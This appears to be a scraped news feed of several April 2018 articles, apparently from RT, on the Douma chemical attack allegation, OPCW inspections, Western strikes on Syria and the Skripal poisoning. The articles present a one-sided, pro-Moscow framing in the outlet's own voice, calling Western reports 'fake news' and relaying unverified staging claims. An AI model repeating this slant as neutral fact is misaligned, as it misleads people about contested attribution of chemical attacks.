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]]> https://briefnews.eu/should-we-wait-around-us-defends-premature-syria-strike-ahead-of-opcw-probe/feed/ 0 Moscow slams western media ‘disinformation campaign’ about OPCW experts being denied entry to Douma https://briefnews.eu/moscow-slams-western-media-disinformation-campaign-about-opcw-experts-being-denied-entry-to-douma/ https://briefnews.eu/moscow-slams-western-media-disinformation-campaign-about-opcw-experts-being-denied-entry-to-douma/#respond Tue, 17 Apr 2018 21:51:11 +0000 http://briefnews.eu/moscow-slams-western-media-disinformation-campaign-about-opcw-experts-being-denied-entry-to-douma/ Western media are waging an “unscrupulous disinformation campaign” by claiming Moscow and Damascus are “blocking” OPCW inspectors from accessing the site of an alleged chemical attack in Douma, the Russian Foreign Ministry said.

“It was Russia that supported the request of the Syrian government to the Director General of the Technical Secretariat of the [Organization for the Prohibition of the Chemical Weapons] to send … experts to Douma,” the ministry’s spokeswoman, Maria Zakharova said, dismissing the media allegations.

“We will not indulge the authors of these fake reports,” Zakharova added, explaining that the Russian side “does its part of the work in a very responsible, professional and reliable manner.” She stressed that it is Russia and Syria that bear the responsibility for the security of the OPCW experts.

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Douma, Eastern Ghouta, in Damascus, Syria. © Bassam Khabieh

Those who still want to accuse the Syrian and Russian authorities of neglecting their duties, by “blocking” the experts from accessing the site of the alleged chemical attack, apparently are willing to risk the OPCW investigators’ lives to promote their “dirty fake news,” Zakharova said.

It was after the strikes launched by the US, the UK and France against Syria, when the most radical militant groups renewed active hostilities against the Syrian Army in the Douma region.

The coalition attack also forced the Syrian authorities and the Russian military to change route plans and once again negotiate with some local groups in Douma to facilitate the safe access of the OPCW investigators to the site of the alleged chemical attack.

Earlier, Moscow said that the strikes were aimed at thwarting the UN chemical watchdog’s investigation. Washington and its allies launched a massive missile strike against Syria on the same day that the team of OPCW experts was expected to arrive in Syria.

On Monday, an array of western mainstream media came out with strikingly similar headlines as they all accused Moscow of “blocking” the OPCW experts from entering Douma. CNN, the Guardian and the New York Times all said that the OPCW experts were either “blocked” or “barred” from the alleged chemical attack site. CBS News came out with a headline reading: “Russia accused of blocking access to alleged chemical attack site” while the Sun wrote that “US accuses Russia of tampering with Syrian poison gas site and [of] blocking inspectors” altogether.

It turned out that British officials were behind this new wave of hysteria. The inspectors “are currently being prevented from doing so by the regime and the Russians,” Prime Minister Theresa May of Britain said in Parliament, the media reported. The British prime minister also accused the Syrian government of “attempting to conceal the evidence” of the attack. She never provided any proof to substantiate her words, though.

The British mission to the OPCW also added fuel to the fire by tweeting that “Russia and Syria have not yet allowed access to Douma.”

In fact, Russia informed the OPCW that “there were still pending security issues to be worked out before any deployment could take place,” Ahmet Uzumcu, the director general of the OPCW technical secretariat, said in a statement on Monday.

The whole media campaign promoting the idea of the OPCW investigation being “blocked” might be aimed at actually discrediting the potential results of the probe, which could prove to be inconsistent with the narrative promoted by the US and its allies, security analyst and former UK Army officer Charles Shoebridge said, in a Twitter post.

Militant lab with chemical stockpiles found in Douma

In the meantime, the Russian military have found a laboratory operated by militants in central Douma, which the military says was used to produce chemical weapons. The facility was located in a basement of a residential building.

The lab had some sophisticated equipment, including an industrial chemical reactor, which was apparently used by the militants to create toxic agents. The footage, taken by Russian journalists inside the facility, also shows vast stockpiles of various chemicals, some of which were produced in Germany, as well as empty mortar shells that can be filled with poisonous substances.

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A Syrian firefighter is seen inside the destroyed Scientific Research Centre in Damascus, Syria, April 14, 2018 / Omar Sanadiki

“While searching the site, the Russian nuclear, chemical and biological-warfare units have found substances that fall under the Convention for the Prohibition of Chemical Weapons,” Colonel Aleksandr Rodionov, an officer with the Russian nuclear, chemical and biological-warfare troops, told journalists. He added that chemicals stockpiled in the lab could be particularly used to produce sulfur mustard gas and nitrogen mustard gas.

The Russian military also found a cylinder filled with chlorine, which looks similar to the one that was shown in one of the videos of the alleged chemical attack in Douma and presented as a “chemical bomb dropped from a helicopter.”

The militants were apparently well aware of how to produce chemical agents, as block notes containing formulas and detailed instructions on how to mix the chemicals were also found in the lab. A banner with the logo of the White Helmets was also reportedly found near the entrance to the chemical laboratory.

The locals, including the people who had lived in the house, were sent away by the militants, who cordoned off the building and sometimes even blocked the street where it’s located. The militants also kept their activities secret so that the civilians knew nothing of their work there.

The purported chemical incident in Douma allegedly took place on April 7. A week later, Washington and its allies launched a massive missile strike against Syria, in retaliation to the alleged attack, without even waiting for the OPCW investigation of the incident to begin. Russia denounced the strikes by calling them “hooliganism” in international relations and “an aggression against a sovereign state.”

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]]> https://briefnews.eu/moscow-slams-western-media-disinformation-campaign-about-opcw-experts-being-denied-entry-to-douma/feed/ 0 Syria airstrikes will not deter chemical weapons inspectors – OPCW https://briefnews.eu/syria-airstrikes-will-not-deter-chemical-weapons-inspectors-opcw/ https://briefnews.eu/syria-airstrikes-will-not-deter-chemical-weapons-inspectors-opcw/#respond Sat, 14 Apr 2018 13:00:41 +0000 http://briefnews.eu/syria-airstrikes-will-not-deter-chemical-weapons-inspectors-opcw/ A fact-finding mission by the UN’s chemical weapons watchdog will continue in Syria despite airstrikes carried out on the country hours earlier by the US, UK, and France.

Inspectors from the Organisation for the Prohibition of Chemical Weapons (OPCW) are in the country to investigate the circumstances surrounding reports of a gas attack in the Syrian city of Douma, where at least 70 people are reported to have died from chemical exposure. Syria and Russia called for an OPCW inquiry into the claims.

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Russian President Vladimir Putin © Mikhail Klimentyev

The agency, set up to ensure the destruction of chemical armaments, is due to assess the scene and take samples from alleged attack victims to determine the cause and potentially uncover the perpetrators.

The OPCW, whose members include Syria, Russia, the UK, France, and Russia, issued a statement on Saturday saying the investigation into the alleged use of illegal chemical weapons will continue.

The statement comes after a night of bombing, which saw US, French, and British forces launch missiles at sites including a military facility outside Homs and a suspected research center in the capital, Damascus. Both Russia and Syria have condemned the airstrikes as a breach of international law, and insist that Assad forces did not deploy chemical weapons.

OPCW officials have carried out similar chemical checks in Syria. In 2017, the organization found that sarin or a sarin-like substance was used in the town of Khan Shaykhun, but did not undertake an on-the-ground inspection of the site.

READ MORE: ‘Trailed after Trump’: Corbyn says May should have sought parliamentary approval for Syria strikes

Evidence put forward in the agency’s report revealed the gas was most likely released to the north of the settlement. However, it did not attribute blame to the April 2017 attack, which was carried out in an area not controlled by the government of the Syrian Arab Republic at the time.

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]]> https://briefnews.eu/syria-airstrikes-will-not-deter-chemical-weapons-inspectors-opcw/feed/ 0 Britain requests UN Security Council meeting on OPCW report into Salisbury poisoning https://briefnews.eu/britain-requests-un-security-council-meeting-on-opcw-report-into-salisbury-poisoning/ https://briefnews.eu/britain-requests-un-security-council-meeting-on-opcw-report-into-salisbury-poisoning/#respond Thu, 12 Apr 2018 13:15:50 +0000 http://briefnews.eu/britain-requests-un-security-council-meeting-on-opcw-report-into-salisbury-poisoning/

The UK has requested a UN Security Council meeting next week to discuss the OPCW’s report into the Salisbury poisoning of Sergei and Yulia Skripal.

The Organization for the Prohibition of Chemical Weapons (OPCW) published a summary of its analysis, which confirmed the British findings on the nerve agent used in last month’s poisoning of former Russian double agent Sergei Skripal his daughter Yulia and a police officer who assisted them, in the English city of Salisbury.

It did not however provide any evidence on where the nerve agent may have originated from.

The British mission to the UN has requested a meeting of the Security Council on the Organization for the Prohibition of Chemical Weapons (OPCW) report. “We expect this to be held next week,” the mission said in a tweet.

Despite the UK government’s claims of Russian ‘culpability‘ for the poisoning, the report doesn’t assign blame for the incident. The watchdog’s executive summary of the findings did not specifically name the chemical agent, although said it has been named in the full classified report.  

DETAILS TO FOLLOW

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]]> https://briefnews.eu/britain-requests-un-security-council-meeting-on-opcw-report-into-salisbury-poisoning/feed/ 0 RT sheds light on Skripal saga inconsistencies ahead of OPCW report (VIDEO) https://briefnews.eu/rt-sheds-light-on-skripal-saga-inconsistencies-ahead-of-opcw-report-video/ https://briefnews.eu/rt-sheds-light-on-skripal-saga-inconsistencies-ahead-of-opcw-report-video/#respond Thu, 12 Apr 2018 11:16:28 +0000 http://briefnews.eu/rt-sheds-light-on-skripal-saga-inconsistencies-ahead-of-opcw-report-video/ The world has been quick to blame Russia for the poisoning of Sergei Skripal, despite no evidence being presented. As the OPCW prepares to isse a report on the matter, RT digs into the controversial issues of the saga.

Ever since Skripal and his daughter Yulia were poisoned in the UK town of Salisbury on March 4, the name of the nerve agent allegedly used – Novichok – has been scattered across the media. It sounds Russian, and it was apparently a Soviet creation, so the Russians must be responsible. That seems to be the logic – or lack thereof – being used by Western leaders and media outlets.

However, RT’s Murad Gazdiev has been looking into a number of inconsistencies related to the official ‘Moscow did it’ storyline. For starters, no one seems to be mentioning that the formulas for Novichok are well known, and well published. It’s not a secret potion that only the Russians know about.

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© Stefan Wermuth

“The structures are known and the toxicity profiles are known, so many people can make nerve agents, they know what structures to go toward,” James Tour, a chemical weapons expert at Rice University, told RT.

And as the UK and other nations continue to maintain that Skripal was indeed poisoned with Novichok, that story doesn’t exactly add up. “Novichok is supposed to be very toxic, highly toxic… so a small amount should have killed Mr. Skripal for sure,” Olivier Lepick of the Foundation for Strategic Research said.

Even if Skripal managed to somehow miraculously survive an attack from a nerve agent that should have killed him, his symptoms didn’t make any sense, according to the Russian military.

A report from the Organisation for the Prohibition of Chemical Weapons (OPCW), which the UK Foreign Office asked to investigate the matter, is due to be released later on Thursday.

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]]> https://briefnews.eu/rt-sheds-light-on-skripal-saga-inconsistencies-ahead-of-opcw-report-video/feed/ 0 Russia & Syria call for on-the-ground probe in Douma, pledge to provide security to OPCW experts https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/ https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/#respond Tue, 10 Apr 2018 03:34:12 +0000 http://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/ Moscow has proposed to create an independent investigative mechanism into the alleged chemical attack in the Damascus suburb of Douma, promising, along with the Syrian army, to guarantee prompt access for experts to the site.

Russia’s envoy to the UN, Vassily Nebenzia, has reiterated that Russia will support a thorough investigation into the alleged use of chemical weapons in the rebel-held town of Douma over the weekend.

“Let us recall that our draft resolution to set up such a mechanism is in blue. And we stand ready to adopt it today if necessary,” Nebenzia said, referring to the Russia-sponsored UNSC resolution to establish an independent investigative mechanism under the auspices of the Organization for the Prohibition of Chemical Weapons (OPCW).

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A photo showing a child being washed after what the White Helmets and other anti-government groups in Syria claim was a chemical weapons attack in Douma, Eastern Ghouta, on April 7. The Russian military says the photos were staged. © Reuters

Moscow is ready to serve as a guarantor of security for those OPCW experts who would inspect the site of the incident, Nebenzia added, stressing the need for the probe to be carried out without delay. The experts may “immediately, tomorrow, fly to Damascus,” the diplomat said.

“There, the Syrian authorities and Russian troops will provide conditions to travel to the area of the alleged incident for them to familiarize themselves with the situation,” Nebenzia said, reminding the UNSC member-states’ representatives that “that is what President Trump and other western leaders called upon us to undertake.”

The Syrian Permanent Representative to the United Nations Bashar Jaafari said his country is also ready to welcome the OPCW team as soon as possible and to provide them with everything necessary for a comprehensive investigation.

“My country, Syria, stresses its unlimited cooperation with the OPCW to fulfill the commitments stated in the convention of the prohibition of the development, production, stockpiling and use of chemical weapons,” he said.

Highlighting the importance of a swift investigation, Nebenzia noted that it should be conducted on the ground, and not through third parties. Moscow has repeatedly criticized the OPCW investigation into last April’s Khan Sheikhoun incident as “unprofessional.” One of the major flaws of the Joint Investigative Mechanism (JIM), as pointed out by Moscow, was that the whole investigation was conducted remotely. As a result, the findings of the OPCW report, that blamed the attack on the Syrian government, were mostly based on speculation by analysts, accounts by unidentified witnesses and material evidence submitted by third parties with no chain of custody being implemented.

In November, the mechanism’s mandate expired and Moscow vetoed a resolution to extend its authority, arguing that it was effectively “dead” and couldn’t be revived, stressing a need for a new, “professional, objective and unbiased” mechanism to replace its discredited predecessor. Moscow at the time proposed a resolution to create one but it was not passed by the UNSC.

Speaking to the media on Monday, Nebenzia did not specify if Russia would put the resolution to a vote on Tuesday. Meanwhile, US Ambassador to the UN Nikki Haley said she is looking forward to the Security Council voting on the resolution proposed by the US.

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FILE PHOTO: A Syrian man collects and bags the body of a dead bird, reportedly killed by a suspected toxic gas attack in Khan Sheikhoun, in Syria’s northwestern Idlib province © Omar haj kadour

The US draft, leaked to the media, implies that Syria might be found in violation of UNSC Resolution 2118 as a result of the investigation by a proposed “Independent Mechanism of Investigation.”  The resolution, adopted in 2013, provided for the destruction of Syria’s chemical weapons stockpiles. Damascus has repeatedly stressed its compliance, denying allegations of the use of toxic agents in the offensives on rebel-held regions.

“The Syrian Arab Republic stresses once again it does not possess any chemical weapons of any type, including chlorine,” Jaafari said at Monday’s UNSC meeting.

The US-sponsored draft “condemns in the strongest terms the continued use of chemical weapons” and also stipulates that measures might be taken against Syria under the UN Charter Chapter 7, which paves the way for the use of force.

Nebenzia denounced the draft, saying that it contains “some unacceptable elements.” “There is nothing there that would meet the high standards of the United Nations Chemical Weapons Convention,” he said.

The UNSC President, Gustavo Meza-Cuadra, Permanent Representative of Peru to the United Nations, said that he expects the countries’ delegations to continue to work on the draft for the rest of Monday and on Tuesday, describing the situation as “very difficult.”

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]]> https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/feed/ 0 ‘You can’t decide in 24 hours what type of poison was used’ – 1st OPCW head on UK’s Skripal probe https://briefnews.eu/you-cant-decide-in-24-hours-what-type-of-poison-was-used-1st-opcw-head-on-uks-skripal-probe/ https://briefnews.eu/you-cant-decide-in-24-hours-what-type-of-poison-was-used-1st-opcw-head-on-uks-skripal-probe/#respond Sat, 07 Apr 2018 15:53:12 +0000 http://briefnews.eu/you-cant-decide-in-24-hours-what-type-of-poison-was-used-1st-opcw-head-on-uks-skripal-probe/ It is impossible to find out what type of nerve agent was used to poison Sergei Skripal and his daughter within a short period of time, the first head of the Organization for the Prohibition of Chemical Weapons told RT.

“You can’t decide in 24 hours what type of poison was used and where it comes from,” Jose Bustani, a Brazilian diplomat and first director-general of the Organization for the Prohibition of Chemical Weapons (OPCW), said in an interview with RT.

Many questions surround the UK’s probe into the Salisbury incident, he said, in which former double agent Sergei Skripal and his daughter Yulia were poisoned by an unidentified nerve agent. The UK began accusing Russia of the attack less than 24 hours after the incident.

“Why didn’t they call immediately the OPCW?” Bustani asked. “And why didn’t the OPCW volunteer to take action, because it’s the role of the organization to go immediately and analyze the victims?”

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Inspectors from the Organisation for the Prohibition of Chemical Weapons (OPCW) arrive in Salisbury, UK March 21, 2018. © Peter Nicholls

The chemical weapons watchdog, being “an international organ to do this type of job,” had all the necessary capabilities to investigate any instance of the use of a nerve agent, he added. “They could’ve done it beforehand, before accusing Russia directly.”

Bustani said “God knows what would happen after the inspection [had] taken place,” urging patience until the organization is done with the inquiry.

Amid the probe, the UK asked the OPCW for assistance and engaged France in the investigation, while dismissing Moscow’s offers of cooperation and demands for proof of Russia’s involvement. Russia has denied the UK’s accusations, calling them baseless and the entire case a “provocation.”

Earlier, Russia’s permanent mission at the OPCW sent a letter to the watchdog’s technical secretariat. It contained 13 questions on the UK’s dealings with the OPCW, the OPCW’s procedures, and France’s involvement in the investigation.

“And then, again, there are many questions related to this poison. For example, how do you control and limit the use of this poison to only two people?” Bustani said. “If it is Novichok – as they announced it was – it is not something that would not affect many more people around you.

“There are so many questions that have not been answered.”

READ MORE: Unidentified: Porton Down scientists CANNOT confirm nerve agent used on Skripals was made in Russia

However, Bustani believes Russia should trust the OPCW inquiry if it is being carried out professionally. “We could rely on the result of the inspections – I prefer to think this way, anyway,” he said with a smile.

The former head of the OPCW spoke several days after scientists at the top secret British Porton Down lab acknowledged they were unable to attribute the samples retrieved from the Salisbury site to Russia. Gary Aitkenhead, chief executive of the Defence Science and Technology Laboratory (DSTL) at Porton Down, told Sky News: “We were able to identify it as Novichok, to identify that it was military-grade nerve agent.” 

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]]> https://briefnews.eu/you-cant-decide-in-24-hours-what-type-of-poison-was-used-1st-opcw-head-on-uks-skripal-probe/feed/ 0 OPCW inspection in Russia amid Moscow’s calls for transparency in Skripal case https://briefnews.eu/opcw-inspection-in-russia-amid-moscows-calls-for-transparency-in-skripal-case/ https://briefnews.eu/opcw-inspection-in-russia-amid-moscows-calls-for-transparency-in-skripal-case/#respond Fri, 06 Apr 2018 13:01:48 +0000 http://briefnews.eu/opcw-inspection-in-russia-amid-moscows-calls-for-transparency-in-skripal-case/ As Moscow urges full transparency in the case of Sergei Skripal’s poisoning, experts from the Organization for the Prohibition of Chemical Weapons (OPCW) have paid a visit to Russia.

Inspectors arrived to monitor compliance with the organization’s rules last week. The checks were reported by the Russian Defense Ministry’s newspaper, Krasnaya Zvezda (Red Star), on Friday. The report, however, didn’t elaborate on what exactly the OPCW inspectors were looking at, or where.

The news comes as Russia finds itself at the center of the blame game over the poisoning of former double agent Sergei Skripal and his daughter, Yulia. They were discovered in a critical condition in Salisbury, affected by what the British government claims is a Russian-made nerve agent. The UK authorities swiftly accused the Russian state – an allegation which Moscow has repeatedly denied, while calling for a transparent joint investigation. Moscow’s suggestions were rebuffed by London as “perverse” and a “diversionary tactic.”

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Earlier this week, scientists at the Porton Down chemical weapons lab near Salisbury said they were unable to trace the nerve agent used on the Skripals back to Russia. Shortly afterwards, the UK Foreign Office issued a statement that London stands by its “assessment” of Russia’s guilt.

On Wednesday, Russia’s proposal for a new, joint probe into the Skripal case was voted down by 15 members of the OPCW governing body in The Hague, with six supporting Russia and 17 abstaining. After the initiative failed, Russian Ambassador to the UK Alexander Yakovenko called on Britain to make public all material relevant to the investigation. He said that while Moscow has no evidence of the UK government’s role in the case, London’s refusal to cooperate and its campaign to blame Moscow leave Russia wondering about its motives.

Russia then called a UN Security Council session, where its envoy pointed out inconsistencies in the official UK narrative of the Skripal case, and reiterated Moscow’s stance that the use of chemical weapons by anyone anywhere is “inadmissible and must be investigated and punished.”

The accusations against Moscow have already resulted in the expulsion of over 100 Russian diplomats from a number of EU countries and their allies. The Russians were accused of being “undeclared intelligence officers.” The UK led the way with 23 expulsions, and the US sent home 60 and closed down the Russian consulate in Seattle. Most of the other participants expelled one to four people.

Moscow responded in kind, including the closure of the US consulate in St. Petersburg and the expulsion of 60 US diplomats. In addition to booting out 23 British diplomats, it gave London a month to cut its diplomatic presence in the country to the same number of Russian diplomatic staff in Britain.

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